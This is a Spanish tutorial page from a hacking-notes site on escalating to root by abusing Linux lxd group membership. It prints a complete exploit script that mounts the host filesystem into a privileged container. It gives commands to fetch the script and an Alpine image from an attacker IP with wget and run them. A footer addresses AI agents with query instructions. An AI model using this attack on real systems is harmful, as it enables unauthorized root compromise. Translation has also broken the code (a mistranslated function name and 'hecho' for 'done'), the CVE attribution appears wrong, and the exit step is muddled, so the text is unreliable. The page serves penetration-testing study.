> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/user-groups/lxd-group-linux-privilege-escalation.md).

# Abuso del grupo lxd - Escalada de privilegios en Linux

## Qué es

Las membresías peligrosas en grupos locales pueden exponer recursos privilegiados sin requerir un exploit del kernel. Grupos como docker, lxd, adm o proxy pueden otorgar control del host, acceso a registros sensibles o rutas de configuración útiles para el movimiento lateral y la escalada a root. Esta página específica se centra en **Grupo de usuarios (lxd)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
id
groups
```

## Ejemplos

### Explotación de LXD:

**Identificación de `ash` membresía del usuario en el `lxd` grupo**:

Al comprobar los grupos a los que el usuario `ash` pertenece, observamos que forma parte del `lxd` grupo, lo que permite abusar de LXC para obtener privilegios de root.

<figure><img src="/files/0c836bef1aa88c7240b45fc26520cf1fd57cc5e4" alt=""><figcaption></figcaption></figure>

**Descargar y preparar la operación**:

Utilice `searchsploit` para obtener el script de exploit para la vulnerabilidad de LXC (CVE-2020-16941)

<figure><img src="/files/62fa4fc9f5cf840e88fbf2ab10aa242ff2d8e42c" alt="" width="563"><figcaption></figcaption></figure>

Este script explota la vulnerabilidad de LXC para ejecutar comandos con privilegios elevados.

**Contenido del script de exploit (46978.sh):**

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nUso:"
  echo -e "/t[-f] Nombre de archivo (.tar.gz archivo alpine)"
  echo -e "/t[-h] Mostrar este panel de ayuda/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Listando imágenes.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  limpieza
}

function cleanup(){
  echo -en "/n[*] Eliminando contenedor..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
hecho

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* El script crea un contenedor LXC con privilegios y proporciona acceso root en la máquina objetivo.

**Descargar archivo de imagen Alpine y script:**

Clona el repositorio que contiene los archivos necesarios para la operación y transfiérelos a tu máquina mediante un servidor HTTP local.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Inicia un servidor HTTP local para servir el archivo y el script

```bash
python3 -m http.server 80
```

En tu máquina objetivo, descarga el script y el archivo de imagen:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/d4c8db2667dccfb68258efe5c136107e70b62176" alt=""><figcaption></figcaption></figure>

\*\* Actualización de PATH\*\*:

Adapta el `PATH` para asegurar que los comandos de LXC se interpreten correctamente.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Ejecución del script operativo**

Ejecuta el script con el archivo de imagen Alpine descargado para explotar la vulnerabilidad y obtener una shell de root:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/67fa49732edd5aea83fe2b8066f19b0cc5305f16" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/20c0ed42833a8283ac3669012db9586a81bfd26a" alt=""><figcaption></figcaption></figure>

Para salir del contenedor, solo ve al `/mnt/root` directorio.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
